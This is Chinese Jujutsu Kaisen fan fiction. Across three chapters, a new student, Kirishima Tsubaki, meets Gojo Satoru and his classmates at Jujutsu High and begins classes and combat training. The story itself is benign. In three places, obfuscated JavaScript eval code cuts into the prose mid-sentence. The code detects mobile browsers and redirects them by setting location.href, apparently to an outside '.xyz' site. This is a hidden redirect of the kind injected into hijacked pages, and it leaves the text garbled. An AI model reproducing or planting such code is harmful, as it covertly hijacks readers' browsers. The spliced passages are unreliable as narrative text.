《[咒回]你也想加入五条派吗》 1. 初遇 四月的樱吹雪中,雾岛椿拢了拢绣有紫藤花纹的淡青色振袖。她行走在深山密林中,这里很隐蔽,在东京郊外,四周还被浓密的杉树和柏树环绕,普通人很难发现。 不久,一段未经修整的原始石阶出现在她的面前。石阶两侧的树木上绑着褪色的注连绳,雾岛椿的漆木屐踏上第一级台阶时,绳结处上悬挂着的符纸无风自动,浮现血色的“禁”字,又迅速隐去。 雾岛椿似乎也察觉到了什么,侧头望去,却一无所获,就在她打量着周围的同时,入口也逐渐浮现在她面前。咒术高专入口没有显眼的牌匾或大门,只有一条突然中断的碎石路,彷佛被无形屏障截断。 这就是结界。 普通人看不见咒力的流动,若不小心闯入这里,那么他们的视线便会不自觉引导至他处,会无意识地避开该区域,甚至会产生“前方有危险野兽”的自我合理化错觉。 雾岛椿拿出刻有咒纹的“痛行木札”,这是一种类似于学生证的东西,从今天开始,她便是东京都立咒术高等专门学校的一年级生。 这里,也简称咒术高专。 是曾经身为普通人的她完全接触不到的东西,她要在这里进行一个颠覆自我认识的学习还有……或许还能寻到意想不到的乐趣。 在此之前,她并没有想到这个学校既然连明显的大门都没有,这个所谓的入口,也不过是山林里一段突兀的石阶,这让她内心受到了极大的触动,或许是位置太过于隐蔽,还有两侧诡异的符纸,让她莫名觉得—— 这里,阶下是凡尘,阶上是却是一个未知的世界。没有门扉,没有守卫,只有那些被风雨侵蚀的符纸在无声宣告:“非请勿入,违者皆斩” 雾岛椿望着手里的通行证,又抬头看了看前方。 这里,感觉不像是能尽情玩耍的地方。 不过……就算不来这里,她也确实没地方去了,算了,既来之则安之。 入口的结界似乎接受到了某种信息,就像被激活了一样,发出类似玻璃震颤的高频音,伴随着一声遥远的铃铛声。 当外界蝉鸣鸟叫骤然消失,仅剩咒力流动的翁鸣声时,雾岛椿知道,她已然踏入了结界。 雾岛椿不再多想,抬腿就要往新生报道处走,身上的咒力突然间波动,她感到头顶的空气产生了奇异的扭曲。 “让一让——” 清亮的少年音从正上方传来。雾岛椿抬头时,目光所及便是一个白色身影正违反物理法则般悬浮在樱树顶端。 他身着简单的白T加长裤,身形修长,正常来说,最吸引人当属那张俊美而稚嫩的脸,还有那双夺人眼目的眼睛,苍蓝虹膜中流转着星云般的微光。 但对雾岛椿来说,最特别的是他身上那股傲人的气质,就像一柄出鞘的刀——锋利、耀眼、且毫无收敛的意思。 其次才是脸。 “嗯?”许是注意到了一旁愣住的少女,少年突然解除术式,却在坠落的瞬间再度发动「苍」。 他的身体像被无形之手托住般缓缓下降,最终脚尖轻点在最娇嫩的樱枝上。细枝连颤都没颤一下,仿佛落在上面的只是片羽毛。 “呼——差点被老头子们抓到了。”他蹲在树枝上自言自语,雾岛椿也没有出声,好奇地看着他。这时远处传来杂乱的脚步声,隐约能听见“悟少爷又跑了”的喊声。 五条悟突然转向雾岛椿的方向。 她身着淡青色的和服,衣襟上绣着细碎的紫藤花,黑发松松地盘起,簪着一支素银的发钗,几缕碎发垂在耳畔,衬得颈线越发修长。 “呜哇!”他歪着头,白色的睫毛在阳光下极其显眼,“你的咒力,好像有点特别诶~” 没等回答他就轻巧地翻身落下,急速靠近,一瞬间,他这张脸在雾岛椿的眼里被放大好几倍。 雾岛椿刚想询问他是什么意思,就听见五条悟略带好奇的声音在耳边响起,“你的咒力密度这么浓,居然没失控?” 他的瞳孔发出蓝色的淡光,“六眼”在高速运转中观察着她周围咒力的流动,浓郁但又很规律,丝毫没有紊乱的迹象。 咒术师之间也有强弱之分,其中最为明显的便是咒力密度,咒力并不是永无止境的,密度越强,代表咒力被消耗殆尽的时间越长,这在与咒灵作战时,具有很大的优势。 但也有着很明显的缺点,那就是容易失控,导致咒力外溢。 显而易见,这位少女对咒力拥有着极强的控制力。 这样的人很少,五条悟是通过“六眼”精准调节每一丝咒力的输出,而这位少女能够如此精准掌控咒力的本质,还有待考究。 五条悟弯下腰,离得更近了点,“你这家伙,居然这么强的嘛。”他的语调很懒散,虽嘴上夸着她很强,气势在她面前却一点也没有要弱下来的意思。 “哇,好有意思。” “啊,请问你是?”雾岛椿下意识后退一步,虽然眼前的少年看起来不像是坏人,但她还是不太习惯这么近的距离。 “五条悟。”五条悟直起腰,脸上带着肆意的笑容,“我叫五条悟哦。”显然,他并没有意识到自己有点太自来熟了。 雾岛椿也没有要怪他的意思,虽然距离有点近她不习惯,但她也不讨厌五条悟的热情。 “五条君,请问你刚刚为什么会说我的咒力很特别?” “诶~你来之前夜蛾什么都没告诉过你吗?”五条悟拖着语调,有点欠揍地吐槽道,“他这人可真不靠谱啊。” 这嫌弃的语气,很难不怀疑他夹带私货。 “那个,五条君,我想这个并不能怪夜蛾老师,是他让我入学咒术高专的,说在这里我会了解到一切。” 从五条悟对夜蛾的称呼来看,雾岛椿猜测他们应该是互相认识的。 “还有,我叫雾岛椿,”雾岛椿也笑着回应他,“很高兴认识你。” “哦?这么说,你不是出生在咒术家族的人,而是普通人?”普通人居然拥有这么浓厚的咒力,这让五条悟瞬间来了点兴趣,他想要知道她的身上发生了什么神奇的事情。 “是的。”雾岛椿乖乖点头。 “那要跟你一次性说完有关于咒力的问题确实是有点棘手啊,”五条悟单手扶额,故作很苦恼的样子,“要不还是交给夜蛾来处理吧。”最后他两手一摊,表示自己已经尽力了,不是故意不帮她的。 看着五条悟因为想要逃避她带来的一些麻烦的问题所作出的一系列假动作,雾岛椿笑出了声,“没关系,这个问题对我这个完全没有基础的人来说本来就不好处理吧,我在这里学习几天,自然就能明白。” 可能是她态度太过于随和,五条悟居然有点不习惯,他轻咳两声,“开玩笑的啦,你有什么问题尽管问,我知道的东西还是挺多的。” “不用不好意思,毕竟能者多劳嘛~” “而且,可能比夜蛾讲的还要简单明了哦。”五条悟比出一个洋洋得意的手势,还对着雾岛椿单眼wink了一下。 啊,眼前的这个人,到底哪来的这么多的活力和生动形象的表情,没记错的话,他们两个今天第一次见面吧? 他现在,是在对一个陌生人卖萌吧? 是吧? 那她要顺着他来吗? 可她确实不知道该从何问起。 正当五条悟准备开口向她从头到尾解释一遍她咒力的特别之处时,却见雾岛椿摇了摇头。 “不用了,我不着急,要是五条君感到愧疚的话,可否麻烦你一件事?”她眼里出现一丝渴望。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427779|184871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “哈?”或许是被她打断了想说的话,有点不爽,五条悟皱着眉,很不认同她说的话,“我才没有对你感到愧疚。” 他说话很不客气,随心所欲,但雾岛椿对人身上散发的情绪很敏感,她并没有从五条悟身上感受到恶意,只当他是因为自己没有接受他的好意,可能在赌气。 是的,从刚一开始,雾岛椿就觉得眼前这个约莫十五岁的少年,有点幼稚,所以她的思维也转变的很快,她一直是以哄小孩子的心态去与他交谈的。 即便她自己也才刚满十五岁,但由于家庭原因,她比同龄人早熟很多。 而他,看起来应该是在家族的宠爱中长大的。 在与他人的相处中,要是学会根据对方的性格来调整相处方式还有心态的话,能避免很多不必要的争吵与伤害。 “不可以吗?”雾岛椿也没有强求,“好吧。”只是语气多少有点失望。 “什么事?”五条悟撅着嘴,还是有点不爽,“先说好,不是因为对你感到愧疚才帮你的。” “我也想飞。”雾岛椿稍微有点兴奋地说,“刚刚看你是从我头顶飞过来的,好炫酷。” “所以我也想体验一把。” 她的眼睛亮晶晶的,透露出些许对未知的探究。 看来她是真的很想尝试一飞冲天的感觉啊…… “哼哼。”五条悟嘴唇一挑,眉头舒展开,被夸的飘飘然,立马将刚才的别扭抛向脑后,“这个嘛,简单” “做好心理准备。” “啊?” 五条悟抬手,使出术式“苍”,雾岛椿还没有反应过来,就已经被他吸在了手上。以一个很滑稽的姿势——她整个人面朝大地,能感觉到五条悟的手就落在自己腰后方,但却没有碰到她。 “诶,诶?!” 随着少女的几声呼喊,五条悟已经带着她移动到了空中,稍微停滞一瞬间,转眼又到了另一个地方。 “哇!”雾岛椿适应之后,睁开双眼,脚底下是浓密的杉树林,还有零星的风屋顶和训练场,没什么好风景,但她就是有种莫名的愉悦感。 就像是……辽阔的天空也没那么触不可及。 “哦对了,”头顶传来风的呼啸声还有五条悟的声音,“严格上来说,我这并不叫作飞。” “而是通过我的术式苍的引力坍塌扭曲空间,将两点坐标重合而造成的视觉效果上的瞬移。” “这样啊,”雾岛椿听的云里雾里,但还是理解了大概,难怪她没感觉到他的触碰,原来是将她吸在了他的手上吗? 她发出衷心的感叹,“听起来好厉害。” “哼哼,那是当然。”听着语气,雾岛椿都能感受到他现在肯定很得意,说不定鼻子都翘上天了。 这更加坚定了她认为五条悟就是一位被宠习惯的小孩的想法。 “忘了问了,五条君是新入学的一年级生吗?”雾岛椿感受着轻轻从耳边剐蹭过的风,问他。 要是不是一年级生,那她们的目的地不一样,她不应该再麻烦五条悟单独把她送往新生报道处。 “嗯?你才想起来问。”五条悟侧头望向她,又抬头看了一眼前方,“为时已晚。” “嘿咻。”五条悟停在新生报道处门口的草地上,将她放下,眼神示意她,“咯,已经到了。” 五条悟刚进结界时就已经看到了她手里的通行礼札,早就知道她是一年级生。 “谢谢。”雾岛椿站稳后,理了理袖口和衣襟,抬眼感激地看着五条悟,“五条君效率真高。” “嘛~小意思。”五条悟摆摆手,觉得她为了这点小事道谢完全没必要。 就在两人刚要踏入房门时,后方传来了一道低沉的声音,听起来,也是一位少年。 2. 碰撞 “你们也是一年级生吗?” 五条悟和雾岛椿停下脚步,转过身看向声音的来源。 那是一位打扮有些特别的少年,他扎着一个丸子头,眼睛狭长,额前还留着一撮怪异的刘海,耳朵上带着黑色耳扩,看起来有点非主流。 他的身旁还跟着一位少女,她有一头齐颈棕褐色短发,眼睛下方还有一颗痣。 “啊,”五条悟下意识回答,待看清了眼前的人之后,他的瞳孔里闪出一丝诧异,随后又有几分兴奋,像是看见了什么好玩的东西,“你就是拥有能够操控咒灵的奇特术式的家伙?” “看来我的选择并没有错,高专一定比待在五条家好玩多了。”他的语气很轻佻,嗓音里是止不住的愉悦。 “不过……你这刘海造型有点过于别致了。”他漫不经心地说出自己对他的第一印象。 “你就是那个五条家的六眼?看起来只是个嚣张的小鬼。”夏油杰简直受不了眼前这个自言自语的家伙,他语气温柔,笑嘻嘻地反驳回去。 他对于眼前这个天然自来熟的家伙没有一点好感,看着就像是一个高高在上的贵族少爷,高专这个地方也不过是他的消遣,他觉得自己跟他肯定相性不合。 “哈啊?”五条悟双手插在裤兜里,下巴微扬,露出一双盛气凌人的苍天之瞳,“嚣张这个词安在你头上才更合适吧?——怪、刘、海!” 夏油杰唇角勾起一抹冷淡的弧度,双臂环抱,声音里带着刻意的讥诮,“是你先出言不逊,而且顶着一头仿佛被喜鹊搭过窝的乱发还说别人,不觉得很没有说服力吗?” “哦——”五条悟拖长了语调,指尖蓝光骤现,周遭空气微微扭曲,“想打架啊?直说呗。” “求之不得。”夏油杰也做好了迎接的准备,一点也没有示弱。 他召唤出自己手中的王牌之一——虹龙,以最佳姿态迎接五条悟的挑衅。 “哇哦~不赖嘛~”五条悟虽早就对这个稀有术式有所耳闻,但亲眼看见要比听说的有趣得多,他俏皮地吹了一个口哨,“像宝可梦训练家。” 明明应该是夸赞,但从他嘴里说出来略显轻佻,让夏油杰莫名感觉自己被人看低了,他不认为五条悟这话里有夸赞他的意思。 “怎么?害怕了?”于是他也毫不客气地回应。 “怎么可能?兴奋还来不及呢!”五条悟冷着脸回道。 两个男生之间剑拔弩张,而另一边两个女生之间却其乐融融,连名字都已经交换好了,甚至直呼对方的名字。 “那个,硝子。”雾岛椿担心地看着那边正在打架的两个男生,“真的不需要阻止一下吗?” “不用。”家入硝子则是一脸嫌弃地看着那边,摆摆手,“两个笨蛋男生之间的事情,最好还是不要插手。” 另一边,五条悟手上苍的能量越聚越多,形成了一个能量球,就在他要将其发散出去时,身后传来一道威严的声音: “五条,你是想把高专夷为平地吗?” 五条悟听出这是夜蛾的声音,他嘴上发出不爽的咂舌声,手上却老老实实地收了力。他双手枕在脑后,转过半个身子面向夜蛾,吊儿郎当地说,“诶?明明是这小子先挑衅的哎~” “我不过是适当反击罢了。” 夏油杰对他的说辞很不赞同,他冷笑一声,“我也只是正当防卫。” “好了,”夜蛾看着眼前明显不对付的两人,莫名感到头疼,看来以后的日子可能不太好过,他安抚道,“我不管你们谁先开始的,现在立马停止这场闹剧。” 发出严肃地声明过后,他转过头,面色柔和了不少,对着两位女生轻声说道,“跟我来,我先给你们简单介绍一下高专学习的要求和大致内容。” 两位女生互相对视一眼,便跟着他走了进去。而五条悟跟夏油杰互相嫌弃地啧了两声,也紧随其后,中间隔了一个能放下中型咒灵的空间。 四人共同走进了一间屋子,雾岛椿前后观望了一下,看起来跟普通人学习的教室并无不同,只是里面并没有人。 五条悟似乎注意到了她有些许疑惑,主动开口道,“咒术师数量稀少,每年基本只招收个位数学生,而且——”他故意停顿,观察着雾岛椿的表情,“平均寿命很短,死亡概率很大哦。” “害怕吗?”他嘴角上扬,一副看热闹不嫌事大的表情,似乎觉得逗她这件事很好玩。 然而雾岛椿并没有出现他想象中的反应,她只是轻轻摇了摇头,波澜不惊地回道,“谢谢五条君的关心,我并不害怕。” 她像是没觉得五条悟是想要捉弄她,只是淡淡地回绝了他裹挟在玩笑中的、不易察觉的关心。 确实没什么好害怕的,虽然她对自己的术式还不够了解,但她知道很强,只是用来保护自己而已,足矣。 “啊啊,你的反应好平淡,”五条悟收回自己的视线,百般聊赖地吐槽道,“真无趣。” “五条,”一旁的夏油杰看不下去他的这副做派,出言警告,“对待女孩子要温柔。” 他这样站在道德最高点批判自己的态度让五条悟颇有不爽,“哦?是吗?” “我最讨厌大道理,少来教育我。”他对着夏油杰微微抬头,下颚线紧绷。 眼看两人又要吵架,雾岛椿突然抬手切断了两人对视中产生的火花,她挡在五条悟身前,对着夏油杰微微颔首,“没关系的夏油君,我并没有感到冒犯。” “看到了吗?椿都没觉得有什么问题,你少在一旁煽风点火。”五条悟就像是有大人保护的小孩一样,再一次出言挑衅,还做起了鬼脸,“略略略。” 夏油杰额角青筋暴起,冷笑两声,“五条,想打架吗?” 他的语气出透露出隐隐威胁,但五条悟根本不怕,不如说正和他意,既然两人都看对方不爽,不如打一架。 “够了。”夜蛾高大的身形挡住了两人的视线,同时他双手抵在两人的额头上,面色阴沉,威胁道,“再吵架都给我罚抄《咒术师伦理守则》十遍。” 见此,两人双双放下争执,转过身背对着对方,面色十分幽怨。 “都给我坐好,上课了。”夜蛾再次发话。 教室很大也很空,四人随便找了几个空位坐下。 夜蛾站在讲台前,背后投影咒灵案例图,手指敲击桌面引起震动。 “都给我听好了——你们手里的学生证,本质上是一张‘生死状’,咒术师的死亡率极其高,大多数人死在执行任务期间。” “当然咒术师有等级划分,咒灵也有等级划分,窗会收集情报,判断出咒灵的等级,再派出对应等级的咒术师去祓除,尽最大可能减少咒术师无意义的牺牲。” “但是,窗的情报也不是完全准确,经常出现判断错误的情况,所以为了活下去,你们只有一个办法——” “加油变强吧。” 说完,夜蛾将手中的黑色高专制服交到她们手上,五条悟、雾岛椿和家入硝子的制服款式基本一样,设计简洁大方,直筒裤,三人等会儿需要回宿舍换好衣服。 夏油杰的制服却早已穿在身上,并且裤子被他改成了灯笼裤,使他整体气质更偏向非主流,与她们有些格格不入。 他比其他三人更早来到学校,宿舍也早就整理完毕,接下来需要等其他三人换好制服,四人去拍开学照片,才算正式入学。 家入硝子和雾岛椿一同前往女生宿舍,五条悟则一人前往男生宿舍。 “椿,现在这个天气,穿上和服不会觉得热吗?”家入硝子问道。 毕竟四人当中基本都穿的很轻透,款式也很简约,只有她一人身着繁琐冗杂的和服,不免有点担忧。 “啊,这个嘛,说热还是有点热的,”雾岛椿挽了挽宽大的和服袖子,“但是已经习惯了,家里也并没有其他比较简约的衣服。” “这样吗?那我们快点去宿舍换上制服吧。” 家入硝子直觉眼前的少女身上迷雾重重,心事也很重的样子,不过也正常,谁还没点秘密。 没一会儿,都穿上制服的四人一同前去拍照。 两个女生站在两个男生中间,两个男生由于还在闹别扭,脸各朝一方,但还好两个女生都笑盈盈的,使得这张照片更有青春的味道。 拍完照之后,她们则需要重回教室开启高专生活的第一门理论课。雾岛椿由于之前从没有接触过有关于咒术师、咒灵之类的东西,听得很认真,这对于她来说是一个全新的世界,就像打开了新世界的大门一样,让人着迷。 雾岛椿能明显感受到她的同期们好像都不太喜欢听课,都在各“忙”各的。 五条悟更是完全无聊到在本子上写写画画,完全没有要听课的意思。 其实,他们也确实没必要听。 在此之前,硝子在科普一些咒术界的基础知识时,有提到过: 她来自咒术家族,并继承了稀有才能「反转术式」,并不需要额外的科普。虽然夏油杰虽然和雾岛椿一样出生普通家庭,但他却和她的情况不同,他是主动加入高专,雾岛椿则是被夜蛾正道挖掘过来的,所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427780|184871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以夏油杰对于咒术界也有一定的了解。 而那位傲气十足的白毛少年,五条悟,则是来自于五条家,御三家之一。 御三家指的是五条家、禅院家和加茂家,是咒术界千年来的权力核心,其地位如同贵族,掌控着术式传承、政治话语权和资源分权。 五条悟则是五条家的大少爷,下一任家主,也是五条家术式传承者,拥有「无下限术式」与「六眼」的家族术式。 五条家的「无下限术式」每百年仅有1-2人继承,且必须配合「六眼」才能安全使用,否则会□□崩溃。 并且觉醒失败还往往伴有无法承受的高额代价,历史上未觉醒六眼的术式继承者,90%死于术式暴走。 而五条悟是400年来唯一同时觉醒两者的存在。 他从小就被当成家主培养,自然对咒术界了如指掌,更何况椿能看出来,他不是一个喜好学习的人,这点她倒是很能理解他的想法。 于是就出现了四个人的教室,两人望向窗外,一人头低垂,甚至快要趴倒在桌上,只留一人坐姿端正,认真听课的奇怪场景。 但在讲台上讲课的夜蛾并没有生气,也没有要管其他三人的打算,这堂课本来就是为了雾岛椿准备的,其他人不听就不听吧。 雾岛椿正是深知其中的原因,才会拿出十足的精力,来对待夜蛾的心意,即便她内心很是讨厌上课,但关于咒术界科普的理论课还在她的接受范围内,未知的东西都是有趣的,相比枯燥的数学课来说。 她正听得认真,突然感觉手臂上传来奇怪的触感,她低头一看,是一直黑笔正在戳自己的手臂,雾岛椿抬眼望去。 五条悟借着桌子的掩盖,举着一张白纸,上面画着一些带虫洞和霉斑的腐烂橘子,旁边标注着“特级咒物·烂橘君”。 雾岛椿虽然并不知道他会什么会画一个腐烂的橘子,但看到旁边标注的特级咒物,大概能明白他应该很讨厌纸上的这个烂橘子。 她侧头问:“怎么了?悟。” “我画的是不是超级形象?”五条悟画的烂橘子代表的是五条家部分保守派成员,比如一定要用辅助工具和一大堆陪同送他来高专读书的那些老头子。 他们最喜欢墨守成规,还老是高傲地要求他去做一些不喜欢做的条条框框的事情。 当然,五条悟才不会听那些老头子的话,所以还没到半路他就利用术式苍高速移动,成功甩掉了他们。 “嗯嗯,”雾岛椿不知道他画的烂橘子有何寓意,但她能看出五条悟有多讨厌这个橘子,甚至感觉为它注入了灵魂,让她看见的第一眼也跟着讨厌,“虽然不知道为什么,但上面的橘子腐烂得有些过于恶臭,看起来就很让人讨厌。” “哇!”五条悟眼睛亮了亮,认为自己找到了同道中人,刚准备欢呼,结果被从前方告诉袭来的粉笔头砸了正着,“嗷~” 他发出痛呼,像普通少年一样疼的龇牙咧嘴。 随后他的额头上鼓起了一个小包,可想而知夜蛾正道使了多大力气。五条悟抬手揉了揉额头,生气地对着罪魁祸首叫喊道,“夜蛾,你干什么砸我?” “你还好意思问为什么,”夜蛾双手抱臂,严肃地看着眼前这个无理取闹的少年,“你自己不听就算了,还请不要打扰其他同学。” 雾岛椿立马坐直,眼睛目视着前方,五条悟吃了大亏,也坐直了身子,没有再反驳。他只是单手捂着额头,嘴里幽怨地念叨着,“啊~我这张帅脸应该没毁容吧。” 这门枯燥无味的理论课经过了漫长的时间,终于走向了尽头。 “大家可以去吃饭,休息片刻,下午有体术课,要保证自己有充足的体力。”夜蛾正道话音刚落,几人就争先恐后地跑出了教室。 五条悟在尾巴后面,其他几人都走在他的前面,就在他快要踏出教室门时,夜蛾正道叫住了他。 “五条,”他语气有些严肃,说着只有两人之间才能读懂的话,“雾岛椿是个不可多得的人才,麻烦保护好她。” “啊~,知道了。”五条悟依旧吊儿郎当地回答,“真是麻烦。”虽然嘴上不耐烦,但也能从中听出他的认真,他对着夜蛾正道摆了摆手,表示自己很清楚该做些什么。 夜蛾正道没有再说些什么,两人心照不宣,并且也只有五条悟能完整听懂他话里的意思,这件事,他也只能交给五条悟来处理。 五条悟的身份能力都是最佳人选,只是,可能得稍微辛苦那个孩子了。毕竟,他身上还背负着很多其他重任,夜蛾正道叹了口气。 3. 体术 “体术是咒术师的最后一道防线。”夜蛾正道双手抱胸,站在训练场中央,低沉的声音在空旷的场地内回荡。“即使术式被封印、咒力耗尽,你们的身体也必须能战斗——今天,不准用术式,纯粹靠体术切磋。” 五条悟懒洋洋地举起手:“诶——那多没意思啊?我和杰不用术式的话,不就变成小学生打架了吗?” 夏油杰笑眯眯地接话:“五条,你该不会是怕输吧?” “还有,别叫的这么亲昵,这让我有点反胃。” “哈~啊——?你再说一遍?” 夜蛾额角暴起青筋:“……你们两个,现在、立刻、开始!” 起初,战斗还算规矩——五条悟凭借天生的反应速度闪避攻击,夏油杰则以扎实的格斗技巧周旋。但很快,两人的动作越来越快,拳脚间隐约裹挟咒力。 “喂,杰,你刚才用咒力强化了吧?”五条悟咧嘴一笑。 “你不也是?”夏油杰反手一记肘击,被五条悟侧身躲开。 下一秒,五条悟指尖凝聚起微弱的苍蓝色光芒——「无下限」的斥力悄然展开,夏油杰被猛地弹开数米。他啧了一声,掌心黑雾翻涌,一只小型咒灵嘶吼着扑出! “不是说不用术式吗?”围观的雾岛椿侧头看向硝子。 “他们俩怎么可能忍得住……”家入硝子干笑。 夜蛾怒吼:“五条!夏油!停下——!” 但已经晚了。 夏油杰的咒灵直冲向场边观战的雾岛椿和家入硝子!硝子瞳孔一缩,下意识后退半步—— “「幻灵·虚构防壁」!” 雾岛椿的咒力骤然爆发,一道半透明的幻境屏障在她和硝子面前展开。咒灵的利爪明明已触及她的衣角,却在最后一瞬诡异地穿透了她的身体,如同击中空气。而在幻境内部,虚假的空间被撕裂,咒灵的攻击狠狠砸在了一片荒芜的沙漠中,激起漫天沙尘。 现实中的训练场一片死寂。 五条悟吹了个口哨:“哇哦,酷!” 夏油杰收回咒灵,难得露出错愕的表情:“……这是什么?” 雾岛椿脸色苍白,呼吸微乱——她本不想太早暴露术式,但刚才的危机迫使她自动触发了防御机制。幻境结界缓缓消散,她低声对硝子说了句“抱歉”,随即抬头看向夜蛾,“……我违规了。” 夜蛾沉默片刻,叹了口气:“不,是我的疏忽。”他转向五条和夏油,声音陡然严厉:“你们两个!课后打扫训练场一周!” 五条悟抗议:“凭什么啊!是杰先放咒灵的!” 夏油杰微笑:“你刚才用了「苍」吧?” “那是条件反射!” “肃静!”夜蛾的怒吼再次响彻场地。 硝子拍了拍雾岛椿的肩膀,轻笑:“谢了。不过……你的术式,挺有意思的嘛。” 雾岛椿垂下眼睫,轻声回应:“……只是保命的小把戏而已。” 夜蛾正道意味深长地扫了雾岛椿两眼,少女只是低着头,浓密的睫毛掩下她眼里的思绪,让人看不清她的想法。 “咳咳,悟。” “啊?”五条悟还在和夏油杰较劲,对夜蛾莫名其妙叫自己的行为表示疑惑,他转过头,表情不耐,催着他有话快说。 “椿的体术就交给你了。”夜蛾正道说,“硝子属于医护人员,在战斗中担任后方支援,但椿不一样,她以后需要跟着你们一起出任务,体术必须要达标。” “嗨~!”听他说完,五条悟举起自己的一只手,耍滑道,“那我可以不用打扫训练场了吗?” “不可以。” “啊~可是很累诶。”五条悟脑袋低垂,整个人立马变得无精打采。 “啊——真是的,麻烦死了!”五条悟抓了抓他那头白毛,满脸写着不情愿。 他好像很为难。 雾岛椿表示很理解,毕竟教导她这么一个什么都是零基础的人,拿不到任何好处,确实也很麻烦。 于是她主动走上前,轻声说道:“悟,如果很勉强的话,不用特意答应也没关系。我在旁边观摩学习也可以的。” “勉强?”五条悟像是被这个词戳中了什么,他微微低下头,露出那双苍蓝色的眼睛,里面瞬间燃起了好胜的火焰,“开什么玩笑!虽然是很麻烦啦……” 他猛地站直身体,用大拇指嚣张地指向自己。 “但我可是最强的!教人基础而已,小菜一碟!”说完,他还不忘立刻扭头对着夏油杰做了一个挑衅的鬼脸,“比某个刘海怪人强多了!” “哈?”突然被点名的夏油杰额角冒出青筋,“你那种靠蛮力乱来的打法也好意思叫体术?夜蛾老师,我认为由我来指导更合适。” “哈——?你说什么?想打架吗眯眯眼?” “求之不得啊!” 眼看两人立刻就要掐起来,雾岛椿适时地插话,她的声音不大,却清晰地传入两人耳中,“但是,我现在就想跟悟学习。可以吗?” 她看向五条悟,眼神里带着纯粹的请求。 “喔!”五条悟的注意力瞬间被拉回,得意洋洋地冲着夏油杰扬起下巴,“听到了吗杰?是椿选我的!你自己一边玩去吧!” 说完,他也不再给夏油杰反驳的机会,迈着六亲不认的步伐就朝训练场中心走去,还不忘回头对雾岛椿招招手,“快来快来!让五条老师给你开小灶!” 雾岛椿点点头,跟了上去,徒留夏油杰在原地无语地叹了口气。家入硝子不知何时站到了他旁边,递过去一根棒棒糖,“算了夏油,跟那个幼稚鬼计较什么。” 虽然你也挺幼稚,硝子心里默默蛐蛐着。 另一边,五条悟已经摆开架势,双手插在口袋里,身体微微摇晃着,脸上是藏不住的兴奋和玩味。 “好了!现在开始就是五条老师的特别授课时间!”他声音扬得老高,仿佛在宣布什么世纪盛事。 雾岛椿安静地站着,听见他臭屁地自称五条老师后,也没有反驳双手交叠在身前,唇角微微扬起,声音柔和,“……请多指教,悟。” “哇,有没有人跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427781|184871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你说过一句话?”五条悟立刻露出一个夸张的受不了的表情,“ 你有点礼貌过头了啦!” “感觉一开口就有股五条家那群封建的老头子味欸,明明还很年轻啊,可以再稍微活泼点的。” “像这样。”五条悟作出一个大笑的表情,嘴角裂到了耳根,看起来有些扭曲,虽然一点也没有影响他的帅气就是了。模仿的太过于夸张,把他自己逗笑了,“噗哈哈,你看,像这样是不是超奇怪的!” 雾岛椿虽然并不觉得自己会露出他那样“不合规矩”“不顾及形象”的笑,但这不影响她觉得五条悟好笑,所以她还是没忍住笑出了声。 “啊对对,就是要这样笑啊。”五条悟先是调笑,后又想到她之前的样子,轻蹙眉头,露出嫌弃的表情,“之前你每次微笑弧度都一成不变,看起来很碍眼诶。” “在我们这里不用那么绷着啦,又没有那些老古董盯着你。” 他说话的方式一如既往的自我中心,甚至有些粗鲁,却奇异地并不让人感到被冒犯。雾岛椿看着眼前这个白发少年,他整个人都散发着一种无所顾忌的张扬和任性,仿佛世界上没有任何规则能束缚他。 但旁观者夏油杰却并不这么认为,他靠在墙边,听着两人交谈的内容,大为震惊,实在是想不通雾岛椿是怎么忍受这家伙恶劣的性格的,反正他是越听越想吵架。 雾岛椿真是善解人意啊,哪怕是面对五条悟这家伙毫无礼貌的刻意挑衅,也能做到平淡如水。 原本还以为被五条悟指出她的伪装之后,她会露出更多丰富的表情,结果还是一潭死水。 戴着面具跟同期相处并不是一件很轻松的事,但这并不代表五条悟说的话是正确的。 明明可以选择更温柔的方式。 “好了好了,废话不多说!”五条悟重新站好,勾了勾手指,脸上带着自信满满的笑容,“来吧!让我看看你现在到什么程度了!放心攻过来,能碰到我算你赢!” 他那副跃跃欲试、仿佛这不是教学而是一场新游戏的样子,让雾岛椿也稍稍放松了下来。 但……她真的什么也不会。 她之前不仅是个普通少女,还是个病痛缠身的、一脚就能踢死的弱者,就算已经痊愈,她依然有预感,如果训练强度稍微高点,她根本撑不了多久就会被轻易击破。 因为她那孱弱的身体,还没有习惯正常人的机能。 见他们终于平息片刻,夜蛾正道揉了揉太阳穴,决定不再管他们,转身离开前只留下一句,“……别把人练废了。” “嗨~”五条悟语气懒散,依旧吊儿郎当。 看着雾岛椿僵在原地,一脸茫然无措、无从下手的样子,五条悟啊了一声,恍然大悟,“抱歉抱歉,我忘了你之前没学过了。” 雾岛椿:“……” 